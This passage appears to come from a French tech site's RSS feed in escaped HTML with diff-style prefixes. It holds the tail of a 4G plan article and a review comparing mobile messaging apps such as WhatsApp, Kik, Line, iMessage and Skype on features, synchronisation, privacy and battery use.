data-affkey="neutralit&amp;eacute; du net"&gt;neutralit&amp;eacute; du net&lt;/span&gt; (voir &lt;a href="http://www.pcinpact.com/news/80826-tout-pc-inpact-en-illimite-chez-sfr-avenir-dun-net-sans-neutralite.htm" target="_blank"&gt;notre analyse&lt;/a&gt;&amp;nbsp;ou &lt;a href="http://www.pcinpact.com/news/85756-14h42-comprendre-neutralite-net-et-ses-enjeux.htm" target="_blank"&gt;cette &amp;eacute;dition de notre &amp;eacute;mission&amp;nbsp;14h42&lt;/a&gt;).&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;On se retrouve ainsi avec un montant annuel proche des 360 euros, soit un peu plus que le plus cher des smartphones que nous avons pu vous conseiller. Vous pouvez donc profiter de la &lt;span data-affiliable="true" data-affkey="4G"&gt;4G&lt;/span&gt; pour 500 &amp;agrave; 700&amp;nbsp;euros&amp;nbsp;par an avec un mobile et un forfaits qui sont plut&amp;ocirc;t complets. Il ne vous reste plus qu'&amp;agrave; faire votre choix.&lt;/p&gt;</description><pubDate>Thu, 20 Feb 2014 16:30:00 Z</pubDate></item><item><guid isPermaLink="false">719</guid><link>http://www.nextinpact.com/dossier/719-messageries-mobiles-laquelle-choisir/1.htm?utm_source=PCi_RSS_Feed&amp;utm_medium=tests&amp;utm_campaign=pcinpact</link><author>vince@pcinpact.com</author><title>Messageries mobiles : laquelle choisir ?</title><description>&lt;p&gt;La multiplication des smartphones a fait litt&amp;eacute;ralement exploser les moyens potentiels de communication. Il n&amp;rsquo;est plus question simplement de s&amp;rsquo;appeler ou d&amp;rsquo;envoyer des messages &amp;agrave; une personne en particulier. Les capacit&amp;eacute;s des appareils et leurs &amp;eacute;crans tactiles transforment notre mani&amp;egrave;re de consid&amp;eacute;rer les &amp;eacute;changes.&lt;/p&gt;
+&lt;h3&gt;Messageries mobiles : une bataille pour devenir l'annuaire universel de demain&lt;/h3&gt;
+&lt;p&gt;Nous nous sommes int&amp;eacute;ress&amp;eacute;s &amp;agrave; plusieurs messageries qui refl&amp;egrave;tent cette &amp;eacute;volution des habitudes, cr&amp;eacute;ant d&amp;rsquo;ailleurs parfois le besoin. Des solutions telles que WhatsApp, Viber, Line ou Facebook Messenger, sont chacune utilis&amp;eacute;es le plus souvent par des centaines de millions de personnes &amp;agrave; travers le monde. Elles ont toutes leurs forces et leurs faiblesses et il est difficile de pr&amp;eacute;tendre &amp;agrave; l&amp;rsquo;universalit&amp;eacute;, m&amp;ecirc;me si certaines ont clairement cet objectif.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/142905.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/medium-142905.png" alt="messageries mobiles" width="350" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Mais pourquoi se tourner vers ce type de solution, plut&amp;ocirc;t que ces bons vieux SMS d&amp;eacute;sormais illimit&amp;eacute;s sur &lt;a href="http://www.touslesforfaits.fr/" target="_blank"&gt;n'importe quel forfait ou presque&lt;/a&gt; ? D&amp;rsquo;abord parce que certaines permettent des communications de groupe. Une fonctionnalit&amp;eacute; toute simple qui autorise plusieurs personnes &amp;agrave; &amp;eacute;changer au sein de la m&amp;ecirc;me discussion, ce que ne permettent pas les SMS. Ces applications mobiles sont en outre parfois bas&amp;eacute;es sur un pseudonyme et non un num&amp;eacute;ro de t&amp;eacute;l&amp;eacute;phone, ce que certains appr&amp;eacute;cieront. Appels gratuits, nombreux clients synchronis&amp;eacute;s, y compris pour les ordinateurs classiques, jeux, &amp;eacute;motic&amp;ocirc;nes&amp;nbsp;: les capacit&amp;eacute;s sont nombreuses et tr&amp;egrave;s variables d&amp;rsquo;une solution &amp;agrave; une autre.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Comme vous le verrez au travers de ce dossier, les probl&amp;eacute;matiques peuvent &amp;ecirc;tre tr&amp;egrave;s diff&amp;eacute;rentes selon les applications mais toutes se livrent une lutte sans merci. Le Graal pour ces entreprises est tout simplement de devenir la r&amp;eacute;f&amp;eacute;rence et le r&amp;eacute;seau le plus utilis&amp;eacute;. Dans le cas d&amp;rsquo;applications telles que Facebook Messenger, donc reli&amp;eacute;es &amp;agrave; un r&amp;eacute;seau social, la concentration des informations peut devenir telle qu&amp;rsquo;elle va g&amp;ecirc;ner une partie des utilisateurs.&lt;/p&gt;
+&lt;h3&gt;De nombreuses informations centralis&amp;eacute;es : attention &amp;agrave; votre vie priv&amp;eacute;e&lt;/h3&gt;
+&lt;p&gt;Nous aborderons donc r&amp;eacute;guli&amp;egrave;rement les diff&amp;eacute;rents aspects qui peuvent toucher &amp;agrave; la confidentialit&amp;eacute;. On peut par exemple consid&amp;eacute;rer celle qui concerne l&amp;rsquo;utilisateur vis-&amp;agrave;-vis des autres contacts. Des fonctionnalit&amp;eacute;s telles que l&amp;rsquo;indication de pr&amp;eacute;sence en ligne, le blocage d&amp;rsquo;un contact et m&amp;ecirc;me le verrouillage de l&amp;rsquo;application par un code sont importantes. L&amp;rsquo;autre point &amp;agrave; prendre en compte est celui des donn&amp;eacute;es personnelles h&amp;eacute;berg&amp;eacute;es par l&amp;rsquo;&amp;eacute;diteur. Or, on s&amp;rsquo;apercevra rapidement que toutes ces applications ne proposent pas de supprimer facilement un compte.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Nous avons s&amp;eacute;lectionn&amp;eacute; onze de ces services afin d'en extraire les atouts et les inconv&amp;eacute;nients et nous avons volontairement choisi des applications parfois tr&amp;egrave;s diff&amp;eacute;rentes les unes des autres&amp;nbsp;:&lt;/p&gt;
+&lt;ul&gt;
+&lt;li&gt;&lt;a href="http://www.whatsapp.com/?l=fr" target="_blank"&gt;WhatsApp&lt;/a&gt;&lt;/li&gt;
+&lt;li&gt;&lt;a href="http://www.viber.com/" target="_blank"&gt;Viber&lt;/a&gt;&lt;/li&gt;
+&lt;li&gt;&lt;a href="https://www.facebook.com/about/messenger" target="_blank"&gt;Facebook Messenger&lt;/a&gt;&lt;/li&gt;
+&lt;li&gt;&lt;a href="http://www.google.com/intl/fr_CA/+/learnmore/hangouts/" target="_blank"&gt;Hangouts&lt;/a&gt;&lt;/li&gt;
+&lt;li&gt;&lt;a href="http://fr.blackberry.com/bbm.html" target="_blank"&gt;BlackBerry Messenger&lt;/a&gt;&lt;/li&gt;
+&lt;li&gt;&lt;a href="http://kik.com/" target="_blank"&gt;Kik&lt;/a&gt;&lt;/li&gt;
+&lt;li&gt;&lt;a href="http://www.wechat.com/" target="_blank"&gt;WeChat&lt;/a&gt;&lt;/li&gt;
+&lt;li&gt;&lt;a href="https://web.samsungchaton.com/index.html?_common_country=LU&amp;amp;_common_lang=fr_fr" target="_blank"&gt;ChatON&lt;/a&gt;&lt;/li&gt;
+&lt;li&gt;&lt;a href="http://line.me/en/" target="_blank"&gt;Line&lt;/a&gt;&lt;/li&gt;
+&lt;li&gt;&lt;a href="http://www.skype.com/fr/" target="_blank"&gt;Skype&lt;/a&gt;&lt;/li&gt;
+&lt;li&gt;&lt;a href="https://www.apple.com/fr/ios/messages/" target="_blank"&gt;iMessage&lt;/a&gt;&lt;/li&gt;
+&lt;/ul&gt;
+&lt;p&gt;Si vous &amp;ecirc;tes &amp;agrave; la recherche d&amp;rsquo;une application pour communiquer avec des amis, prenez donc le temps de rep&amp;eacute;rer celle qui r&amp;eacute;pondra le mieux &amp;agrave; vos besoins. Et pour ceux qui misent avant tout sur la s&amp;eacute;curit&amp;eacute; de leurs &amp;eacute;changes, sachez qu'il existe d&amp;eacute;j&amp;agrave; des solutions telles que &lt;a href="https://chatsecure.org/" target="_blank"&gt;ChatSecure&lt;/a&gt;&amp;nbsp;ou &lt;a href="https://crypto.cat/" target="_blank"&gt;Cryptocat &lt;/a&gt;qui s'appr&amp;ecirc;te &amp;agrave; d&amp;eacute;barquer sur mobile. Mais ces applications seront le sujet d'un dossier s&amp;eacute;par&amp;eacute;.&lt;/p&gt;&lt;p&gt;La grande question est donc de savoir quelle application pourrait le mieux vous convenir. Il n&amp;rsquo;existe en fait aucune r&amp;eacute;ponse simple &amp;agrave; cette question car aucune des solutions abord&amp;eacute;es n&amp;rsquo;est capable de r&amp;eacute;pondre &amp;agrave; toutes les exigences.&lt;/p&gt;
+&lt;h3&gt;Un choix qui d&amp;eacute;pend de vos besoins... et de vos amis&lt;/h3&gt;
+&lt;p&gt;WhatsApp est dans tous les cas une valeur s&amp;ucirc;re en France et globalement dans le monde occidental, et ce pour une raison simple&amp;nbsp;: il est tr&amp;egrave;s utilis&amp;eacute; dans ces pays. De fait, de nombreuses personnes l&amp;rsquo;ont d&amp;eacute;j&amp;agrave; et il sera facile de mettre cette solution en place avec vos amis si vous avez des besoins de conversations de groupe. Pour r&amp;eacute;ellement remporter une victoire durable, il manque &amp;agrave; WhatsApp des clients pour Windows, OS X et Linux, ou encore une version web &amp;agrave; laquelle on pourrait acc&amp;eacute;der depuis un simple navigateur.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/124177.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/medium-124177.png" alt="WhatsApp" width="450" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Pour les aficionados de la simplicit&amp;eacute;, Kik est une excellente solution qui remplacera WhatsApp chez ceux qui pr&amp;eacute;f&amp;egrave;rent se baser sur un simple pseudonyme. L&amp;rsquo;interface est particuli&amp;egrave;rement facile &amp;agrave; prendre en main et est sans doute l&amp;rsquo;une des plus agr&amp;eacute;ables. Si au contraire vous &amp;ecirc;tes &amp;agrave; la recherche d&amp;rsquo;une application la plus compl&amp;egrave;te possible, Line risque de s&amp;rsquo;imposer tant elle cumule les fonctionnalit&amp;eacute;s et tente de r&amp;eacute;pondre &amp;agrave; tous les besoins, au risque par contre de sembler un peu confuse.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Toutes les solutions abord&amp;eacute;es dans ce dossier proposent des fonctions basiques comme les conversations de groupe et l&amp;rsquo;&amp;eacute;change de photos. L&amp;rsquo;int&amp;eacute;r&amp;ecirc;t est que l&amp;rsquo;ensemble des participants dispose des m&amp;ecirc;mes fonctionnalit&amp;eacute;s, m&amp;ecirc;me s&amp;rsquo;ils poss&amp;egrave;dent des smartphones de marques diff&amp;eacute;rentes. Mais au final, le choix d&amp;rsquo;une solution de ce type affronte toujours un imp&amp;eacute;ratif&amp;nbsp;: elle doit plaire &amp;agrave; tout le monde. La plupart du temps, l&amp;rsquo;un ou l&amp;rsquo;autre de vos amis utilisera d&amp;eacute;j&amp;agrave; une application de ce type et encouragera les autres &amp;agrave; faire de m&amp;ecirc;me.&amp;nbsp;&lt;/p&gt;
+&lt;h3&gt;WhatsApp, Viber et Line : notre trio gagnant. ChatON et Skype en embuscade&lt;/h3&gt;
+&lt;p&gt;Actuellement, WhatsApp appara&amp;icirc;t donc comme la solution qui nous para&amp;icirc;t la plus &amp;agrave; m&amp;ecirc;me de r&amp;eacute;pondre &amp;agrave; la majorit&amp;eacute; des besoins. Certains concurrents sont tout de m&amp;ecirc;me &amp;agrave; surveiller, notamment Viber et Line, gr&amp;acirc;ce &amp;agrave; leurs nombreux clients, ChatON car il ne lui manque pas grand-chose pour &amp;ecirc;tre parfait, et Skype car de grands travaux sont en cours chez Microsoft et le service pourrait &amp;ecirc;tre largement am&amp;eacute;lior&amp;eacute; durant les prochains mois.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Notez que si vous avez besoin de quelques crit&amp;egrave;res pour faire votre choix, nous en avons compil&amp;eacute; de nombreux au sein de ce tableau qui recense toutes les applications que nous avons test&amp;eacute;es au sein de ce dossier :&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/143528.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/medium-143528.png" alt="messageries" /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Dans le paysage des messageries, &lt;a href="https://www.apple.com/fr/ios/messages/" target="_blank"&gt;iMessage&lt;/a&gt; est un cas &amp;agrave; part que nous avons tout de m&amp;ecirc;me d&amp;eacute;cid&amp;eacute; de traiter. Cette solution offre selon nous un mod&amp;egrave;le de facilit&amp;eacute; d&amp;rsquo;utilisation et de synchronisation vers lequel les solutions d&amp;rsquo;&amp;eacute;changes de messages devraient tendre. &amp;Eacute;videmment, contrairement &amp;agrave; ces derni&amp;egrave;res, iMessage ne joue pas la carte du support multiplateforme&amp;nbsp;: seuls les produits Apple sont concern&amp;eacute;s.&lt;/p&gt;
+&lt;h3&gt;Une solution r&amp;eacute;serv&amp;eacute;e aux seuls appareils Apple...&amp;nbsp;&lt;/h3&gt;
+&lt;p&gt;iMessage est une solution de messagerie fonctionnant avec le compte iCloud. Tout utilisateur de produit Apple aujourd&amp;rsquo;hui poss&amp;egrave;de un tel compte et c&amp;rsquo;est la multiplicit&amp;eacute; des iPhone, iPad ou encore des Mac qui la rend int&amp;eacute;ressante. Car la grande limitation d&amp;rsquo;iMessage est d&amp;rsquo;&amp;ecirc;tre r&amp;eacute;serv&amp;eacute;e &amp;agrave; ces seuls appareils frapp&amp;eacute;s d&amp;rsquo;une pomme. Mais pourquoi en parler dans ce cas&amp;nbsp;? Parce que cette messagerie est particuli&amp;egrave;rement simple et efficace dans son fonctionnement.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/143043.png" alt="imessage" width="250" /&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/143045.png" alt="imessage" width="250" /&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Depuis tout appareil iOS ou OS X (&amp;agrave; partir de Mountain Lion), il est possible d&amp;rsquo;envoyer un iMessage &amp;agrave; un autre contact ayant un compte iCloud. Sur iOS, l&amp;rsquo;envoi se fait comme un SMS classique. L&amp;rsquo;op&amp;eacute;ration est transparente et la diff&amp;eacute;rence se fait sur la couleur des bulles&amp;nbsp;: elles sont vertes en cas de textos classiques, et bleues dans le cas d&amp;rsquo;iMessage. Les serveurs d&amp;rsquo;Apple lient automatiquement un num&amp;eacute;ro de t&amp;eacute;l&amp;eacute;phone &amp;agrave; un compte iCloud, ce qui permet de reconna&amp;icirc;tre le smartphone de destination comme un iPhone ou pas. Notez que ce lien peut cr&amp;eacute;er des difficult&amp;eacute;s, ce sur quoi nous reviendrons ensuite. Vous pourrez d'ailleurs choisir d'&amp;ecirc;tre ajout&amp;eacute; par un tiers via l'une de vos adresses e-mails, ou plusieurs d'entre elles. C'est &amp;agrave; vous de choisir.&lt;/p&gt;
+&lt;h3&gt;... mais dont la simplicit&amp;eacute; est une force&amp;nbsp;&lt;/h3&gt;
+&lt;p&gt;Dans le cas o&amp;ugrave; vous poss&amp;eacute;deriez un iPhone, un iPad et un Mac, tout message envoy&amp;eacute; ou re&amp;ccedil;u appara&amp;icirc;tra automatiquement sur les trois machines, si tant qu&amp;rsquo;elles soient &amp;eacute;videmment reli&amp;eacute;es &amp;agrave; Internet. C&amp;rsquo;est tout l&amp;rsquo;int&amp;eacute;r&amp;ecirc;t de la solution&amp;nbsp;: si vous avez une conversation en cours sur iPhone, vous pouvez tr&amp;egrave;s bien la continuer sur un Mac avec un vrai clavier. Idem si vous commencez depuis un ordinateur et que vous continuez la discussion sur un iPad.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/143044.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/medium-143044.png" alt="imessage" width="500" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Les &amp;eacute;changes de messages peuvent contenir du texte simple, des notes vocales, des photos, des vid&amp;eacute;os ou encore des fiches contacts. Comme beaucoup d&amp;rsquo;autres solutions, iMessage permet &amp;eacute;galement de cr&amp;eacute;er des conversations de groupes. Mais comme pour tout le reste, cette fonctionnalit&amp;eacute; est limit&amp;eacute;e aux seuls contacts iMessage. En outre, ces groupes ne peuvent pas porter de nom particulier et ne peuvent pas non plus &amp;ecirc;tre personnalis&amp;eacute;s d&amp;rsquo;aucune mani&amp;egrave;re que ce soit. Notez cependant que les envois d&amp;rsquo;&amp;eacute;l&amp;eacute;ments multim&amp;eacute;dia restent possibles.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Signalons tout de m&amp;ecirc;me que les utilisateurs de solution Apple b&amp;eacute;n&amp;eacute;ficient en outre de FaceTime. Depuis iOS 7, un mode audio est propos&amp;eacute; alors que la fonctionnalit&amp;eacute; ne permettait avant que des appels vid&amp;eacute;o. Pour ces derniers, l'image est souvent bonne, mais les appels audio ont b&amp;eacute;n&amp;eacute;fici&amp;eacute; de la meilleure qualit&amp;eacute; constat&amp;eacute;e toutes applications confondues.&lt;/p&gt;
+&lt;h3&gt;Une synchronisation efficace, mais attention en cas de changement de t&amp;eacute;l&amp;eacute;phone&lt;/h3&gt;
+&lt;p&gt;iMessage est une solution qui tient sa force de sa facilit&amp;eacute; et de sa rapidit&amp;eacute;. La synchronisation est efficace et le service se comporte globalement comme on est en droit de l&amp;rsquo;esp&amp;eacute;rer d&amp;rsquo;un produit Apple. Cependant, iMessage n&amp;rsquo;est pas exempt de d&amp;eacute;fauts et le principal est sans contexte son manque de port&amp;eacute;e. La multiplication des iPhone fait que cette messagerie va pouvoir s&amp;rsquo;utiliser assez souvent, mais le paysage des appareils mobiles &amp;eacute;volue rapidement et les appareils Android voient leur part de march&amp;eacute; augmenter constamment.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;En outre, iMessage peut rencontrer des difficult&amp;eacute;s au sujet du lien avec les SMS. Le service est effectivement cens&amp;eacute; basculer de l&amp;rsquo;un &amp;agrave; l&amp;rsquo;autre automatiquement, mais ce n&amp;rsquo;est pas toujours aussi simple. Si vous changez de t&amp;eacute;l&amp;eacute;phone et passez sur un Android ou un Windows Phone, il faudra ainsi penser &amp;agrave; d&amp;eacute;sactiver iMessage dans les param&amp;egrave;tres de votre iPhone avant de le jeter ou de le revendre. Dans le cas contraire, votre num&amp;eacute;ro sera toujours affili&amp;eacute; au service chez Apple, et vos contacts poss&amp;eacute;dant des iPhone continueront de vous envoyer des iMessages plut&amp;ocirc;t que des SMS classiques. Cons&amp;eacute;quence, vous ne recevrez pas ces messages &amp;agrave; moins d&amp;rsquo;allumer l&amp;rsquo;ancien t&amp;eacute;l&amp;eacute;phone et d&amp;rsquo;y couper le service. Notez que si vous n'avez absolument plus acc&amp;egrave;s &amp;agrave; cet ancien t&amp;eacute;l&amp;eacute;phone, la solution est alors de &lt;a href="http://support.apple.com/kb/HT5538?viewlocale=fr_FR&amp;amp;locale=fr_FR" target="_blank"&gt;r&amp;eacute;initialiser le mot de passe du compte iCloud&lt;/a&gt;.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;La solution d&amp;rsquo;Apple pourrait sans doute avoir un impact fort si la firme &amp;eacute;largissait la port&amp;eacute;e de son service aux autres plateformes. Elle s&amp;rsquo;est sans aucun doute d&amp;eacute;j&amp;agrave; pos&amp;eacute; la question, mais elle se retrouve sur une probl&amp;eacute;matique que l&amp;rsquo;on pourrait comparer &amp;agrave; celle d&amp;rsquo;Office de Microsoft&amp;nbsp;: un produit &amp;agrave; succ&amp;egrave;s doit-il rester sur sa plateforme d&amp;rsquo;origine au risque de p&amp;eacute;ricliter ou doit-il &amp;ecirc;tre &amp;eacute;tendu sur les autres au risque de faire perdre une partie de l&amp;rsquo;attrait de la plateforme d&amp;rsquo;origine&amp;nbsp;? Quoi qu&amp;rsquo;il en soit, la r&amp;eacute;ponse est simple pour le moment&amp;nbsp;: iMessage ne concerne que les produits Apple et ses avantages y seront donc contenus.&lt;/p&gt;&lt;p&gt;Dans la liste des services de messagerie, &lt;a href="http://www.skype.com/fr/" target="_blank"&gt;Skype&lt;/a&gt; fait quelque peu jeu &amp;agrave; part. Contrairement &amp;agrave; un WhatsApp, un Viber ou un Kik,&amp;nbsp;il ne s&amp;rsquo;agit pas d&amp;rsquo;une application passive ne se &amp;laquo;&amp;nbsp;r&amp;eacute;veillant&amp;nbsp;&amp;raquo; que quand elle re&amp;ccedil;oit un signal. Il s&amp;rsquo;agit bel et bien d&amp;rsquo;une application active aux tenants et aboutissants diff&amp;eacute;rents des messageries habituelles.&lt;/p&gt;
+&lt;h3&gt;Une application que l'on retrouve presque partout&amp;nbsp;&lt;/h3&gt;
+&lt;p&gt;Tout le monde conna&amp;icirc;t Skype, ne serait-ce qu&amp;rsquo;&amp;agrave; cause de son ubiquit&amp;eacute; et des changements intervenus dans la vie de la soci&amp;eacute;t&amp;eacute; ces derni&amp;egrave;res ann&amp;eacute;es. C&amp;rsquo;est ainsi que Microsoft avait annonc&amp;eacute; le rachat de cette plateforme de communication pour la somme mirobolante de 8,5 milliards de dollars en mai 2011. Une somme qui avait &amp;eacute;t&amp;eacute; avanc&amp;eacute;e pour verrouiller les n&amp;eacute;gociations et emp&amp;ecirc;cher toute forme de concurrence. Depuis, Skype est un &amp;eacute;l&amp;eacute;ment cl&amp;eacute; de la strat&amp;eacute;gie du g&amp;eacute;ant et se retrouve d&amp;rsquo;ailleurs int&amp;eacute;gr&amp;eacute; pour la premi&amp;egrave;re dans un Windows avec la version 8.1 du syst&amp;egrave;me (voir &lt;a href="http://www.pcinpact.com/dossier/722-tout-savoir-des-nouveautes-de-windows-8-1/1.htm" target="_blank"&gt;notre dossier&lt;/a&gt;).&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/143038.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/mini-143038.png" alt="skype" width="190" /&gt;&lt;/a&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/143033.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/mini-143033.png" alt="skype" width="190" /&gt;&lt;/a&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/143034.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/mini-143034.png" alt="skype" width="203" height="142" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Skype est &amp;eacute;galement disponible sous une multitude de versions pour de nombreuses plateformes. Pour le seul Windows, on peut ainsi le trouver en mouture classique pour le bureau (historiquement la premi&amp;egrave;re version du client) ainsi qu&amp;rsquo;en Modern UI sous Windows 8/8.1. On trouve &amp;eacute;galement un client pour OS X ainsi que pour le syst&amp;egrave;me mobile d&amp;rsquo;Apple, iOS. Android est bien &amp;eacute;videmment de la partie, de m&amp;ecirc;me que Linux, Windows Phone 7/8 et BlackBerry. Skype se paye m&amp;ecirc;me le luxe, &amp;agrave; la mani&amp;egrave;re des Hangouts de Google, d'&amp;ecirc;tre disponible dans un simple navigateur puisque l'on peut y acc&amp;eacute;der via Outlook.com (anciennement Hotmail).&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Cela dit, comme nous le verrons plus tard, les fonctionnalit&amp;eacute;s d&amp;eacute;pendent tr&amp;egrave;s largement du client utilis&amp;eacute;.&lt;/p&gt;
+&lt;h3&gt;Une connexion active qui peut se r&amp;eacute;v&amp;eacute;ler gourmande&amp;nbsp;&lt;/h3&gt;
+&lt;p&gt;Bien que Skype puisse &amp;ecirc;tre utilis&amp;eacute; sans probl&amp;egrave;me sur un smartphone ou une tablette, il ne se r&amp;eacute;v&amp;egrave;le pas n&amp;eacute;cessairement le plus adapt&amp;eacute;. Il est par exemple tr&amp;egrave;s bon pour tout ce qui touche aux appels audio (le son est souvent de bonne qualit&amp;eacute;), tandis que la partie vid&amp;eacute;o va d&amp;eacute;pendre tr&amp;egrave;s largement de la bande passante disponible. Mais aucune application mobile par exemple ne peut participer &amp;agrave; une conf&amp;eacute;rence audio &amp;agrave; plusieurs alors que cette fonctionnalit&amp;eacute; existe depuis longtemps sous Windows, OS X et Linux. C&amp;ocirc;t&amp;eacute; messagerie, on est beaucoup plus proche d&amp;rsquo;un Live Messenger que d&amp;rsquo;un client asynchrone comme WhatsApp&amp;nbsp;: le client doit &amp;ecirc;tre connect&amp;eacute; de mani&amp;egrave;re active pour que les messages arrivent.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/143035.png" alt="skype" width="190" /&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/143036.png" alt="skype" width="190" /&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/143037.png" alt="skype" width="190" /&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Le probl&amp;egrave;me de Skype est surtout qu&amp;rsquo;il fonctionne justement comme une application classique sur un ordinateur. Il est donc gourmand en &amp;eacute;nergie et son utilisation r&amp;eacute;guli&amp;egrave;re videra plus rapidement la batterie que la concurrence. Notez &amp;agrave; ce sujet que Microsoft pr&amp;eacute;pare de nombreuses mises &amp;agrave; jour car l&amp;rsquo;infrastructure du service change actuellement, comme ce f&amp;ucirc;t le cas il y a quelques jours sous iOS, ce qui a fait le plus grand bien aux adeptes d'Apple.&amp;nbsp;Une fois cette transition totalement effectu&amp;eacute;e, les applications mobiles utiliseront un mod&amp;egrave;le classique client/serveur qui devrait &amp;ecirc;tre normalement plus &amp;eacute;conome &amp;agrave; tous niveaux et donc avoir moins d&amp;rsquo;impact sur l&amp;rsquo;autonomie.&lt;/p&gt;
+&lt;h3&gt;Des soucis de performances &amp;agrave; corriger&amp;nbsp;&lt;/h3&gt;
+&lt;p&gt;Car la synchronisation de Skype est relativement lourde et peut prendre du temps. L&amp;rsquo;int&amp;eacute;r&amp;ecirc;t de l&amp;rsquo;application est en effet son ubiquit&amp;eacute;&amp;nbsp;: vous commencez une discussion sous Windows, vous la continuez sur iPhone pour finir sur un portable &amp;eacute;quip&amp;eacute; d&amp;rsquo;une distribution Ubuntu. Mais un smartphone ou une tablette n&amp;rsquo;a pas la puissance d&amp;rsquo;un PC ou d&amp;rsquo;un Mac&amp;nbsp;: apr&amp;egrave;s une connexion r&amp;eacute;ussie sur Android, iOS ou autre, les conversations peuvent mettre un temps assez important &amp;agrave; arriver, provoquant au passage des blocages momentan&amp;eacute;s de l&amp;rsquo;application, voire complets en quelques occasions. Ce qui n&amp;eacute;cessite alors de relancer l&amp;rsquo;application.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/143039.png" alt="skype" height="250" /&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/143042.png" alt="skype" height="250" /&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/143040.png" alt="skype" height="250" /&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/143041.png" alt="skype" height="250" /&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;C&amp;ocirc;t&amp;eacute; messagerie pure, Skype se positionne au niveau de Kik&amp;nbsp;: on &amp;eacute;change ainsi du texte en t&amp;ecirc;te &amp;agrave; t&amp;ecirc;te, ou bien en groupe, avec une possibilit&amp;eacute; rare : pouvoir modifier ou supprimer un message. Un groupe peut &amp;ecirc;tre enregistr&amp;eacute;, renomm&amp;eacute; et sauvegard&amp;eacute;, ce qui est un bon point. Cependant, d&amp;egrave;s que l&amp;rsquo;on sort du cadre classique du texte, la situation change rapidement. Ainsi, toutes les versions mobiles ne sont pas forc&amp;eacute;ment capables d&amp;rsquo;envoyer ne serai-ce qu&amp;rsquo;une simple photo. Les moutures pour iOS et Android, les plus avanc&amp;eacute;es, le font depuis longtemps, mais celle pour Windows Phone 8 n&amp;rsquo;en est pas capable, ce qui est un comble. En outre, toutes les versions ne peuvent pas traiter des op&amp;eacute;rations aussi basiques que de supprimer une conversation. Ainsi, la version OS X le peut, mais pas celle pour Windows.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
